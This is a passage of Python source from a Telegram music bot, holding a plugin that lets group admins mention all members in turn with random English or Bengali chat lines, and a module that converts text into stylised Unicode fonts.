" **※ ᴡʜᴇʀᴇ ᴀʀᴇ ʏᴏᴜ ғʀᴏᴍ...ᰔᩚ**",
" **※ ᴀʀᴇ ʏᴏᴜ ᴏɴʟɪɴᴇ...ᰔᩚ**",
" **※ ᴡʜᴀᴛ ᴅᴏ ʏᴏᴜ ʟɪᴋᴇ ᴛᴏ ᴇᴀᴛ...ᰔᩚ**",
" **※ ᴀᴅᴅ ᴍᴇ ᴛᴏ ʏᴏᴜʀ ɢʀᴏᴜᴘ, ɪ ᴡɪʟʟ ᴘʟᴀʏ ᴍᴜsɪᴄ ᴀɴᴅ ᴛᴀɢ ᴇᴠᴇʀʏᴏɴᴇ...ᰔᩚ**",
" **※ ᴡɪʟʟ ʏᴏᴜ ᴘʟᴀʏ ᴛʀᴜᴛʜ ᴀɴᴅ ᴅᴀʀᴇ...ᰔᩚ**",
" **※ ᴡʜᴀᴛs ʜᴀᴘᴘᴇɴᴇᴅ ᴛᴏ ʏᴏᴜ...ᰔᩚ**",
" **※ ᴅᴏ ʏᴏᴜ ᴡᴀɴɴᴀ ᴇᴀᴛ ᴄʜᴏᴄᴏʟᴀᴛᴇ...ᰔᩚ**",
" **※ ʜᴇʟʟᴏ ʙᴀʙʏ...ᰔᩚ**",
" **※ ᴅᴏ ᴄʜᴀᴛᴛɪɴɢ ᴡɪᴛʜ ᴍᴇ...ᰔᩚ**",
" **※ ᴡʜᴀᴛ ᴅᴏ ʏᴏᴜ sᴀʏ...ᰔᩚ**",
" **※ ɢɪᴠᴇ ᴍᴇ ʏᴏᴜʀ ᴡʜᴀᴛsᴀᴘᴘ ɴᴜᴍʙᴇʀ ᴘʟᴇᴀsᴇ...ᰔᩚ**"
]
VC_TAG = [" **⚘ আমাকে ভুলে যাও...💥**",
" **⚘ আমি তোমাকে ভালোবাসি না...💥**",
" **⚘ এটাকে তোমার করো পিয়া, তোমার করো...💥**",
" **⚘ আমার গ্রুপেও যোগ দিন...💥**",
" **⚘ আমি হৃদয়ে তোমার নাম রেখেছি...💥**",
" **⚘ তোমার সব বন্ধু কোথায়...💥**",
" **⚘ কার স্মৃতিতে তুমি হারিয়ে গেছো আমার ভালোবাসা...💥**",
" **⚘ তোমার পেশা কি...💥**",
" **⚘ তুমি কোথায় থাকো...💥**",
" **⚘ শুভ সকাল, বাবু...💥**",
" **⚘ শুভ রাত্রি, অনেক দেরি হয়ে গেছে...💥**",
" **⚘ আমার আজ খুব খারাপ লাগছে...💥**",
" **⚘ আমার সাথেও কথা বল...💥**",
" **⚘ আজ রাতের খাবারের জন্য কি...💥**",
" **⚘ কি হচ্ছে...💥**",
" **⚘ তুমি মেসেজ দাও না কেন...💥**",
" **⚘ আমি নির্দোষ...💥**",
" **⚘ এটা গতকাল মজা ছিল, তাই না...💥**",
" **⚘ তুমি গতকাল কোথায় ব্যস্ত ছিলে...💥**",
" **⚘ তুমি কি সম্পর্কে আছো...💥**",
" **⚘ তুমি খুব শান্ত থাকো বন্ধু...💥**",
" **⚘ তুমি কি গাইতে জানো, গাইতে...💥**",
" **⚘ তুমি কি আমার সাথে বেড়াতে আসবে...💥**",
" **⚘ সবসময় হাসিখুশি থেকো বন্ধু...💥**",
" **⚘ আমরা কি বন্ধু হতে পারি...💥**",
" **⚘ তুমি কি বিবাহিত...💥**",
" **⚘ এত দিন কোথায় ব্যস্ত ছিলে...💥**",
" **⚘ লিঙ্ক বায়োতে আছে, এখন যোগ দিতে...💥**",
" **⚘ মজা করলাম...💥**",
" **⚘ আপনি কি এই গ্রুপের মালিককে চেনেন...💥**",
" **⚘ তোমার কি কখনো মনে পড়ে আমায়...💥**",
" **⚘ চলো পার্টি করি...💥**",
" **⚘ আজ কেমন এলো...💥**",
" **⚘ কেমন কাটলো তোমার দিন...💥**",
" **⚘ তুমি কি দেখেছো...💥**",
" **⚘ আপনি কি এখানকার প্রশাসক...💥**",
" **⚘ আমরা বন্ধু হতে পারি...💥**",
" **⚘ তুমি কি সম্পর্কে আছো...💥**",
" **⚘ আর বন্দী কেমন আছে...💥**",
" **⚘ তোমাকে গতকাল দেখেছি...💥**",
" **⚘ তুমি কোথা থেকে...💥**",
" **⚘ আপনি কি অনলাইনে আছেন...💥**",
" **⚘ তুমি কি আমার বন্ধু....💥**",
" **⚘ তুমি কি খেতে পছন্দ কর...💥**",
" **⚘ আমাকে আপনার গ্রুপে অ্যাড করুন, আমি গান বাজিয়ে সবাইকে ট্যাগ করব....💥**",
" **⚘ আজ আমি দুঃখিত...💥**",
" **⚘ তুমি কি সত্য খেলবে এবং সাহস করবে...💥**",
" **⚘ তোমার মত বন্ধু থাকলে চিন্তার কি আছে...💥**",
" **⚘ কি হয়েছে তোমার...💥**",
" **⚘ তুমি কি চকলেট খেতে চাও....💥**",
" **⚘ হ্যালো বাবু...💥**",
" **⚘ আমার সাথে চ্যাট করো...💥**",
" **⚘ তুমি কি বলো...💥**"
]
@app.on_message(filters.command(["entag", "englishtag" ], prefixes=["/", "@", "#"]))
async def mentionall(client, message):
chat_id = message.chat.id
if message.chat.type == ChatType.PRIVATE:
return await message.reply("๏ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs.")
is_admin = False
try:
participant = await client.get_chat_member(chat_id, message.from_user.id)
except UserNotParticipant:
is_admin = False
else:
if participant.status in (
ChatMemberStatus.ADMINISTRATOR,
ChatMemberStatus.OWNER
):
is_admin = True
if not is_admin:
return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs. ")
if message.reply_to_message and message.text:
return await message.reply("/entag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ʙᴏᴛ ᴛᴀɢɢɪɴɢ...")
elif message.text:
mode = "text_on_cmd"
msg = message.text
elif message.reply_to_message:
mode = "text_on_reply"
msg = message.reply_to_message
if not msg:
return await message.reply("/entag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ғᴏᴛ ᴛᴀɢɢɪɴɢ...")
else:
return await message.reply("/entag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ʙᴏᴛ ᴛᴀɢɢɪɴɢ...")
if chat_id in spam_chats:
return await message.reply("๏ ᴘʟᴇᴀsᴇ ᴀᴛ ғɪʀsᴛ sᴛᴏᴘ ʀᴜɴɴɪɴɢ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss...")
spam_chats.append(chat_id)
usrnum = 0
usrtxt = ""
async for usr in client.get_chat_members(chat_id):
if not chat_id in spam_chats:
break
if usr.user.is_bot:
continue
usrnum += 1
usrtxt += "{}".format(usr.user.id, usr.user.first_name)
if usrnum == 1:
if mode == "text_on_cmd":
txt = f"{usrtxt} {random.choice(TAGMES)}"
await client.send_message(chat_id, txt)
elif mode == "text_on_reply":
await msg.reply(f"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})")
await asyncio.sleep(4)
usrnum = 0
usrtxt = ""
try:
spam_chats.remove(chat_id)
except:
pass
@app.on_message(filters.command(["bntag"], prefixes=["/", "@", "#"]))
async def mention_allvc(client, message):
chat_id = message.chat.id
if message.chat.type == ChatType.PRIVATE:
return await message.reply("๏ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs.")
is_admin = False
try:
participant = await client.get_chat_member(chat_id, message.from_user.id)
except UserNotParticipant:
is_admin = False
else:
if participant.status in (
ChatMemberStatus.ADMINISTRATOR,
ChatMemberStatus.OWNER
):
is_admin = True
if not is_admin:
return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs. ")
if chat_id in spam_chats:
return await message.reply("๏ ᴘʟᴇᴀsᴇ ᴀᴛ ғɪʀsᴛ sᴛᴏᴘ ʀᴜɴɴɪɴɢ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss...")
spam_chats.append(chat_id)
usrnum = 0
usrtxt = ""
async for usr in client.get_chat_members(chat_id):
if not chat_id in spam_chats:
break
if usr.user.is_bot:
continue
usrnum += 1
usrtxt += "{}".format(usr.user.id, usr.user.first_name)
if usrnum == 1:
txt = f"{usrtxt} {random.choice(VC_TAG)}"
await client.send_message(chat_id, txt)
await asyncio.sleep(4)
usrnum = 0
usrtxt = ""
try:
spam_chats.remove(chat_id)
except:
pass
@app.on_message(filters.command(["cancel", "enstop", "bnstop"]))
async def cancel_spam(client, message):
if not message.chat.id in spam_chats:
return await message.reply("๏ ᴄᴜʀʀᴇɴᴛʟʏ ɪ'ᴍ ɴᴏᴛ ᴛᴀɢɢɪɴɢ ʙᴀʙʏ.")
is_admin = False
try:
participant = await client.get_chat_member(message.chat.id, message.from_user.id)
except UserNotParticipant:
is_admin = False
else:
if participant.status in (
ChatMemberStatus.ADMINISTRATOR,
ChatMemberStatus.OWNER
):
is_admin = True
if not is_admin:
return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs.")
else:
try:
spam_chats.remove(message.chat.id)
except:
pass
return await message.reply("๏ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss sᴛᴏᴘᴘᴇᴅ ๏")
================================================
FILE: BrandrdXMusic/plugins/admins/font.py
================================================
class Fonts:
def typewriter(text):
style = {
"a": "𝚊",
"b": "𝚋",
"c": "𝚌",
"d": "𝚍",
"e": "𝚎",
"f": "𝚏",
"g": "𝚐",
"h": "𝚑",
"i": "𝚒",
"j": "𝚓",
"k": "𝚔",
"l": "𝚕",
"m": "𝚖",
"n": "𝚗",
"o": "𝚘",
"p": "𝚙",
"q": "𝚚",
"r": "𝚛",
"s": "𝚜",
"t": "𝚝",
"u": "𝚞",
"v": "𝚟",
"w": "𝚠",
"x": "𝚡",
"y": "𝚢",
"z": "𝚣",
"A": "𝙰",
"B": "𝙱",
"C": "𝙲",
"D": "𝙳",
"E": "𝙴",
"F": "𝙵",
"G": "𝙶",
"H": "𝙷",
"I": "𝙸",
"J": "𝙹",
"K": "𝙺",
"L": "𝙻",
"M": "𝙼",
"N": "𝙽",
"O": "𝙾",
"P": "𝙿",
"Q": "𝚀",
"R": "𝚁",
"S": "𝚂",
"T": "𝚃",
"U": "𝚄",
"V": "𝚅",
"W": "𝚆",
"X": "𝚇",
"Y": "𝚈",
"Z": "𝚉",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def outline(text):
style = {
"a": "𝕒",
"b": "𝕓",
"c": "𝕔",
"d": "𝕕",
"e": "𝕖",
"f": "𝕗",
"g": "𝕘",
"h": "𝕙",
"i": "𝕚",
"j": "𝕛",
"k": "𝕜",
"l": "𝕝",
"m": "𝕞",
"n": "𝕟",
"o": "𝕠",
"p": "𝕡",
"q": "𝕢",
"r": "𝕣",
"s": "𝕤",
"t": "𝕥",
"u": "𝕦",
"v": "𝕧",
"w": "𝕨",
"x": "𝕩",
"y": "𝕪",
"z": "𝕫",
"A": "𝔸",
"B": "𝔹",
"C": "ℂ",
"D": "𝔻",
"E": "𝔼",
"F": "𝔽",
"G": "𝔾",
"H": "ℍ",
"I": "𝕀",
"J": "𝕁",
"K": "𝕂",
"L": "𝕃",
"M": "𝕄",
"N": "ℕ",
"O": "𝕆",
"P": "ℙ",
"Q": "ℚ",
"R": "ℝ",
"S": "𝕊",
"T": "𝕋",
"U": "𝕌",
"V": "𝕍",
"W": "𝕎",
"X": "𝕏",
"Y": "𝕐",
"Z": "ℤ",
"0": "𝟘",
"1": "𝟙",
"2": "𝟚",
"3": "𝟛",
"4": "𝟜",
"5": "𝟝",
"6": "𝟞",
"7": "𝟟",
"8": "𝟠",
"9": "𝟡",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def serief(text):
style = {
"a": "𝐚",
"b": "𝐛",
"c": "𝐜",
"d": "𝐝",
"e": "𝐞",
"f": "𝐟",
"g": "𝐠",
"h": "𝐡",
"i": "𝐢",
"j": "𝐣",
"k": "𝐤",
"l": "𝐥",
"m": "𝐦",
"n": "𝐧",
"o": "𝐨",
"p": "𝐩",
"q": "𝐪",
"r": "𝐫",
"s": "𝐬",
"t": "𝐭",
"u": "𝐮",
"v": "𝐯",
"w": "𝐰",
"x": "𝐱",
"y": "𝐲",
"z": "𝐳",
"A": "𝐀",
"B": "𝐁",
"C": "𝐂",
"D": "𝐃",
"E": "𝐄",
"F": "𝐅",
"G": "𝐆",
"H": "𝐇",
"I": "𝐈",
"J": "𝐉",
"K": "𝐊",
"L": "𝐋",
"M": "𝐌",
"N": "𝐍",
"O": "𝐎",
"P": "𝐏",
"Q": "𝐐",
"R": "𝐑",
"S": "𝐒",
"T": "𝐓",
"U": "𝐔",
"V": "𝐕",
"W": "𝐖",
"X": "𝐗",
"Y": "𝐘",
"Z": "𝐙",
"0": "𝟎",
"1": "𝟏",
"2": "𝟐",
"3": "𝟑",
"4": "𝟒",
"5": "𝟓",
"6": "𝟔",
"7": "𝟕",
"8": "𝟖",
"9": "𝟗",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def bold_cool(text):
style = {
"a": "𝒂",
"b": "𝒃",
"c": "𝒄",
"d": "𝒅",
"e": "𝒆",
"f": "𝒇",
"g": "𝒈",
"h": "𝒉",
"i": "𝒊",
"j": "𝒋",
"k": "𝒌",
"l": "𝒍",
"m": "𝒎",
"n": "𝒏",
"o": "𝒐",
"p": "𝒑",
"q": "𝒒",
"r": "𝒓",
"s": "𝒔",
"t": "𝒕",
"u": "𝒖",
"v": "𝒗",
"w": "𝒘",
"x": "𝒙",
"y": "𝒚",
"z": "𝒛",
"A": "𝑨",
"B": "𝑩",
"C": "𝑪",
"D": "𝑫",
"E": "𝑬",
"F": "𝑭",
"G": "𝑮",
"H": "𝑯",
"I": "𝑰",
"J": "𝑱",
"K": "𝑲",
"L": "𝑳",
"M": "𝑴",
"N": "𝑵",
"O": "𝑶",
"P": "𝑷",
"Q": "𝑸",
"R": "𝑹",
"S": "𝑺",
"T": "𝑻",
"U": "𝑼",
"V": "𝑽",
"W": "𝑾",
"X": "𝑿",
"Y": "𝒀",
"Z": "𝒁",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def cool(text):
style = {
"a": "𝑎",
"b": "𝑏",
"c": "𝑐",
"d": "𝑑",
"e": "𝑒",
"f": "𝑓",
"g": "𝑔",
"h": "ℎ",
"i": "𝑖",
"j": "𝑗",
"k": "𝑘",
"l": "𝑙",
"m": "𝑚",
"n": "𝑛",
"o": "𝑜",
"p": "𝑝",
"q": "𝑞",
"r": "𝑟",
"s": "𝑠",
"t": "𝑡",
"u": "𝑢",
"v": "𝑣",
"w": "𝑤",
"x": "𝑥",
"y": "𝑦",
"z": "𝑧",
"A": "𝐴",
"B": "𝐵",
"C": "𝐶",
"D": "𝐷",
"E": "𝐸",
"F": "𝐹",
"G": "𝐺",
"H": "𝐻",
"I": "𝐼",
"J": "𝐽",
"K": "𝐾",
"L": "𝐿",
"M": "𝑀",
"N": "𝑁",
"O": "𝑂",
"P": "𝑃",
"Q": "𝑄",
"R": "𝑅",
"S": "𝑆",
"T": "𝑇",
"U": "𝑈",
"V": "𝑉",
"W": "𝑊",
"X": "𝑋",
"Y": "𝑌",
"Z": "𝑍",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def smallcap(text):
style = {
"a": "ᴀ",
"b": "ʙ",
"c": "ᴄ",
"d": "ᴅ",
"e": "ᴇ",
"f": "ғ",
"g": "ɢ",
"h": "ʜ",
"i": "ɪ",
"j": "J",
"k": "ᴋ",
"l": "ʟ",
"m": "ᴍ",
"n": "ɴ",
"o": "ᴏ",
"p": "ᴘ",
"q": "ǫ",
"r": "ʀ",
"s": "s",
"t": "ᴛ",
"u": "ᴜ",
"v": "ᴠ",
"w": "ᴡ",
"x": "x",
"y": "ʏ",
"z": "ᴢ",
"A": "A",
"B": "B",
"C": "C",
"D": "D",
"E": "E",
"F": "F",
"G": "G",
"H": "H",
"I": "I",
"J": "J",
"K": "K",
"L": "L",
"M": "M",
"N": "N",
"O": "O",
"P": "P",
"Q": "Q",
"R": "R",
"S": "S",
"T": "T",
"U": "U",
"V": "V",
"W": "W",
"X": "X",
"Y": "Y",
"Z": "Z",
"0": "𝟶",
"1": "𝟷",
"2": "𝟸",
"3": "𝟹",
"4": "𝟺",
"5": "𝟻",
"6": "𝟼",
"7": "𝟽",
"8": "𝟾",
"9": "𝟿",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def script(text):
style = {
"a": "𝒶",
"b": "𝒷",
"c": "𝒸",
"d": "𝒹",
"e": "ℯ",
"f": "𝒻",
"g": "ℊ",
"h": "𝒽",
"i": "𝒾",
"j": "𝒿",
"k": "𝓀",
"l": "𝓁",
"m": "𝓂",
"n": "𝓃",
"o": "ℴ",
"p": "𝓅",
"q": "𝓆",
"r": "𝓇",
"s": "𝓈",
"t": "𝓉",
"u": "𝓊",
"v": "𝓋",
"w": "𝓌",
"x": "𝓍",
"y": "𝓎",
"z": "𝓏",
"A": "𝒜",
"B": "ℬ",
"C": "𝒞",
"D": "𝒟",
"E": "ℰ",
"F": "ℱ",
"G": "𝒢",
"H": "ℋ",
"I": "ℐ",
"J": "𝒥",
"K": "𝒦",
"L": "ℒ",
"M": "ℳ",
"N": "𝒩",
"O": "𝒪",
"P": "𝒫",
"Q": "𝒬",
"R": "ℛ",
"S": "𝒮",
"T": "𝒯",
"U": "𝒰",
"V": "𝒱",
"W": "𝒲",
"X": "𝒳",
"Y": "𝒴",
"Z": "𝒵",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def bold_script(text):
style = {
"a": "𝓪",
"b": "𝓫",
"c": "𝓬",
"d": "𝓭",
"e": "𝓮",
"f": "𝓯",
"g": "𝓰",
"h": "𝓱",
"i": "𝓲",
"j": "𝓳",
"k": "𝓴",
"l": "𝓵",
"m": "𝓶",
"n": "𝓷",
"o": "𝓸",
"p": "𝓹",
"q": "𝓺",
"r": "𝓻",
"s": "𝓼",
"t": "𝓽",
"u": "𝓾",
"v": "𝓿",
"w": "𝔀",
"x": "𝔁",
"y": "𝔂",
"z": "𝔃",
"A": "𝓐",
"B": "𝓑",
"C": "𝓒",
"D": "𝓓",
"E": "𝓔",
"F": "𝓕",
"G": "𝓖",
"H": "𝓗",
"I": "𝓘",
"J": "𝓙",
"K": "𝓚",
"L": "𝓛",
"M": "𝓜",
"N": "𝓝",
"O": "𝓞",
"P": "𝓟",
"Q": "𝓠",
"R": "𝓡",
"S": "𝓢",
"T": "𝓣",
"U": "𝓤",
"V": "𝓥",
"W": "𝓦",
"X": "𝓧",
"Y": "𝓨",
"Z": "𝓩",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def tiny(text):
style = {
"a": "ᵃ",
"b": "ᵇ",
"c": "ᶜ",
"d": "ᵈ",
"e": "ᵉ",
"f": "ᶠ",
"g": "ᵍ",
"h": "ʰ",
"i": "ⁱ",
"j": "ʲ",
"k": "ᵏ",
"l": "ˡ",
"m": "ᵐ",
"n": "ⁿ",
"o": "ᵒ",
"p": "ᵖ",
"q": "ᵠ",
"r": "ʳ",
"s": "ˢ",
"t": "ᵗ",
"u": "ᵘ",
"v": "ᵛ",
"w": "ʷ",
"x": "ˣ",
"y": "ʸ",
"z": "ᶻ",
"A": "ᵃ",
"B": "ᵇ",
"C": "ᶜ",
"D": "ᵈ",
"E": "ᵉ",
"F": "ᶠ",
"G": "ᵍ",
"H": "ʰ",
"I": "ⁱ",
"J": "ʲ",
"K": "ᵏ",
"L": "ˡ",
"M": "ᵐ",
"N": "ⁿ",
"O": "ᵒ",
"P": "ᵖ",
"Q": "ᵠ",
"R": "ʳ",
"S": "ˢ",
"T": "ᵗ",
"U": "ᵘ",
"V": "ᵛ",
"W": "ʷ",
"X": "ˣ",
"Y": "ʸ",
"Z": "ᶻ",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def comic(text):
style = {
"a": "ᗩ",
"b": "ᗷ",
"c": "ᑕ",
"d": "ᗪ",
"e": "ᗴ",
"f": "ᖴ",
"g": "ᘜ",
"h": "ᕼ",
"i": "I",
"j": "ᒍ",
"k": "K",
"l": "ᒪ",
"m": "ᗰ",
"n": "ᑎ",
"o": "O",
"p": "ᑭ",
"q": "ᑫ",
"r": "ᖇ",
"s": "Տ",
"t": "T",
"u": "ᑌ",
"v": "ᐯ",
"w": "ᗯ",
"x": "᙭",
"y": "Y",
"z": "ᘔ",
"A": "ᗩ",
"B": "ᗷ",
"C": "ᑕ",
"D": "ᗪ",
"E": "ᗴ",
"F": "ᖴ",
"G": "ᘜ",
"H": "ᕼ",
"I": "I",
"J": "ᒍ",
"K": "K",
"L": "ᒪ",
"M": "ᗰ",
"N": "ᑎ",
"O": "O",
"P": "ᑭ",
"Q": "ᑫ",
"R": "ᖇ",
"S": "Տ",
"T": "T",
"U": "ᑌ",
"V": "ᐯ",
"W": "ᗯ",
"X": "᙭",
"Y": "Y",
"Z": "ᘔ",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def san(text):
style = {
"a": "𝗮",
"b": "𝗯",
"c": "𝗰",
"d": "𝗱",
"e": "𝗲",
"f": "𝗳",
"g": "𝗴",
"h": "𝗵",
"i": "𝗶",
"j": "𝗷",
"k": "𝗸",
"l": "𝗹",
"m": "𝗺",
"n": "𝗻",
"o": "𝗼",
"p": "𝗽",
"q": "𝗾",
"r": "𝗿",
"s": "𝘀",
"t": "𝘁",
"u": "𝘂",
"v": "𝘃",
"w": "𝘄",
"x": "𝘅",
"y": "𝘆",
"z": "𝘇",
"A": "𝗔",
"B": "𝗕",
"C": "𝗖",
"D": "𝗗",
"E": "𝗘",
"F": "𝗙",
"G": "𝗚",
"H": "𝗛",
"I": "𝗜",
"J": "𝗝",
"K": "𝗞",
"L": "𝗟",
"M": "𝗠",
"N": "𝗡",
"O": "𝗢",
"P": "𝗣",
"Q": "𝗤",
"R": "𝗥",
"S": "𝗦",
"T": "𝗧",
"U": "𝗨",
"V": "𝗩",
"W": "𝗪",
"X": "𝗫",
"Y": "𝗬",
"Z": "𝗭",
"0": "𝟬",
"1": "𝟭",
"2": "𝟮",
"3": "𝟯",
"4": "𝟰",
"5": "𝟱",
"6": "𝟲",
"7": "𝟳",
"8": "𝟴",
"9": "𝟵",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def slant_san(text):
style = {
"a": "𝙖",
"b": "𝙗",
"c": "𝙘",
"d": "𝙙",
"e": "𝙚",
"f": "𝙛",
"g": "𝙜",
"h": "𝙝",
"i": "𝙞",
"j": "𝙟",
"k": "𝙠",
"l": "𝙡",
"m": "𝙢",
"n": "𝙣",
"o": "𝙤",
"p": "𝙥",
"q": "𝙦",
"r": "𝙧",
"s": "𝙨",
"t": "𝙩",
"u": "𝙪",
"v": "𝙫",
"w": "𝙬",
"x": "𝙭",
"y": "𝙮",
"z": "𝙯",
"A": "𝘼",
"B": "𝘽",
"C": "𝘾",
"D": "𝘿",
"E": "𝙀",
"F": "𝙁",
"G": "𝙂",
"H": "𝙃",
"I": "𝙄",
"J": "𝙅",
"K": "𝙆",
"L": "𝙇",
"M": "𝙈",
"N": "𝙉",
"O": "𝙊",
"P": "𝙋",
"Q": "𝙌",
"R": "𝙍",
"S": "𝙎",
"T": "𝙏",
"U": "𝙐",
"V": "𝙑",
"W": "𝙒",
"X": "𝙓",
"Y": "𝙔",
"Z": "𝙕",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def slant(text):
style = {
"a": "𝘢",
"b": "𝘣",
"c": "𝘤",
"d": "𝘥",
"e": "𝘦",
"f": "𝘧",
"g": "𝘨",
"h": "𝘩",
"i": "𝘪",
"j": "𝘫",
"k": "𝘬",
"l": "𝘭",
"m": "𝘮",
"n": "𝘯",
"o": "𝘰",
"p": "𝘱",
"q": "𝘲",
"r": "𝘳",
"s": "𝘴",
"t": "𝘵",
"u": "𝘶",
"v": "𝘷",
"w": "𝘸",
"x": "𝘹",
"y": "𝘺",
"z": "𝘻",
"A": "𝘈",
"B": "𝘉",
"C": "𝘊",
"D": "𝘋",
"E": "𝘌",
"F": "𝘍",
"G": "𝘎",
"H": "𝘏",
"I": "𝘐",
"J": "𝘑",
"K": "𝘒",
"L": "𝘓",
"M": "𝘔",
"N": "𝘕",
"O": "𝘖",
"P": "𝘗",
"Q": "𝘘",
"R": "𝘙",
"S": "𝘚",
"T": "𝘛",
"U": "𝘜",
"V": "𝘝",
"W": "𝘞",
"X": "𝘟",
"Y": "𝘠",
"Z": "𝘡",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def sim(text):
style = {
"a": "𝖺",
"b": "𝖻",
"c": "𝖼",
"d": "𝖽",
"e": "𝖾",
"f": "𝖿",
"g": "𝗀",
"h": "𝗁",
"i": "𝗂",
"j": "𝗃",
"k": "𝗄",
"l": "𝗅",
"m": "𝗆",
"n": "𝗇",
"o": "𝗈",
"p": "𝗉",
"q": "𝗊",
"r": "𝗋",
"s": "𝗌",
"t": "𝗍",
"u": "𝗎",
"v": "𝗏",
"w": "𝗐",
"x": "𝗑",
"y": "𝗒",
"z": "𝗓",
"A": "𝖠",
"B": "𝖡",
"C": "𝖢",
"D": "𝖣",
"E": "𝖤",
"F": "𝖥",
"G": "𝖦",
"H": "𝖧",
"I": "𝖨",
"J": "𝖩",
"K": "𝖪",
"L": "𝖫",
"M": "𝖬",
"N": "𝖭",
"O": "𝖮",
"P": "𝖯",
"Q": "𝖰",
"R": "𝖱",
"S": "𝖲",
"T": "𝖳",
"U": "𝖴",
"V": "𝖵",
"W": "𝖶",
"X": "𝖷",
"Y": "𝖸",
"Z": "𝖹",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def circles(text):
style = {
"a": "Ⓐ︎",
"b": "Ⓑ︎",
"c": "Ⓒ︎",
"d": "Ⓓ︎",
"e": "Ⓔ︎",
"f": "Ⓕ︎",
"g": "Ⓖ︎",
"h": "Ⓗ︎",
"i": "Ⓘ︎",
"j": "Ⓙ︎",
"k": "Ⓚ︎",
"l": "Ⓛ︎",
"m": "Ⓜ︎",
"n": "Ⓝ︎",
"o": "Ⓞ︎",
"p": "Ⓟ︎",
"q": "Ⓠ︎",
"r": "Ⓡ︎",
"s": "Ⓢ︎",
"t": "Ⓣ︎",
"u": "Ⓤ︎",
"v": "Ⓥ︎",
"w": "Ⓦ︎",
"x": "Ⓧ︎",
"y": "Ⓨ︎",
"z": "Ⓩ︎",
"A": "Ⓐ︎",
"B": "Ⓑ︎",
"C": "Ⓒ︎",
"D": "Ⓓ︎",
"E": "Ⓔ︎",
"F": "Ⓕ︎",
"G": "Ⓖ︎",
"H": "Ⓗ︎",
"I": "Ⓘ︎",
"J": "Ⓙ︎",
"K": "Ⓚ︎",
"L": "Ⓛ︎",
"M": "Ⓜ︎",
"N": "Ⓝ︎",
"O": "Ⓞ︎",
"P": "Ⓟ︎",
"Q": "Ⓠ︎",
"R": "Ⓡ︎",
"S": "Ⓢ︎",
"T": "Ⓣ︎",
"U": "Ⓤ︎",
"V": "Ⓥ︎",
"W": "Ⓦ︎",
"X": "Ⓧ︎",
"Y": "Ⓨ︎",
"Z": "Ⓩ︎",
"0": "⓪",
"1": "①",
"2": "②",
"3": "③",
"4": "④",
"5": "⑤",
"6": "⑥",
"7": "⑦",
"8": "⑧",
"9": "⑨",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def dark_circle(text):
style = {
"a": "🅐︎",
"b": "🅑︎",
"c": "🅒︎",
"d": "🅓︎",
"e": "🅔︎",
"f": "🅕︎",
"g": "🅖︎",
"h": "🅗︎",
"i": "🅘︎",
"j": "🅙︎",
"k": "🅚︎",
"l": "🅛︎",
"m": "🅜︎",
"n": "🅝︎",
"o": "🅞︎",
"p": "🅟︎",
"q": "🅠︎",
"r": "🅡︎",
"s": "🅢︎",
"t": "🅣︎",
"u": "🅤︎",
"v": "🅥︎",
"w": "🅦︎",
"x": "🅧︎",
"y": "🅨︎",
"z": "🅩︎",
"A": "🅐︎",
"B": "🅑︎",
"C": "🅒︎",
"D": "🅓︎",
"E": "🅔︎",
"F": "🅕︎",
"G": "🅖︎",
"H": "🅗︎",
"I": "🅘︎",
"J": "🅙︎",
"K": "🅚︎",
"L": "🅛︎",
"M": "🅜︎",
"N": "🅝︎",
"O": "🅞︎",
"P": "🅟︎",
"Q": "🅠︎",
"R": "🅡︎",
"S": "🅢︎",
"T": "🅣︎",
"U": "🅤︎",
"V": "🅥︎",
"W": "🅦︎",
"X": "🅧︎",
"Y": "🅨︎",
"Z": "🅩",
"0": "⓿",
"1": "➊",
"2": "➋",
"3": "➌",
"4": "➍",
"5": "➎",
"6": "➏",
"7": "➐",
"8": "➑",
"9": "➒",
}
for i, j in style.items():
text = text.replace(i, j)
